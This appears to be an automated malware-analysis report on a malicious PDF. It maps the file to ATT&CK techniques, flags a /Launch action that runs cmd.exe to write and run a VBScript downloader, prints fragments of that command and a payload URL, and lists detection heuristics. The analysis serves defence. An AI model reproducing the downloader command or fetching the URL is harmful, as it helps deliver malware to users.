MITRE ATT&CK
T1059.003 Windows Command Shell T1204.002 Malicious File

The PDF file contains a launch action that executes cmd.exe. This command attempts to echo a VBScript to a file named 'm.vbs' and then likely execute it. The VBScript itself is not fully extracted, but the command-line execution and embedded URL strongly suggest a downloader pattern. The reconstructed command is: cmd /c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM" "Scripting.FileSystemObject" A.GetSpecialFolder(2 "WScript.Shell" 2. The embedded URL http://lollipopinass.com/trades/tmp/m.vbs is likely the source of the malicious script.

Heuristics 4

  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
  • /Launch action target: cmd high PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://lollipopinass.com/trades/tmp/m.vbs
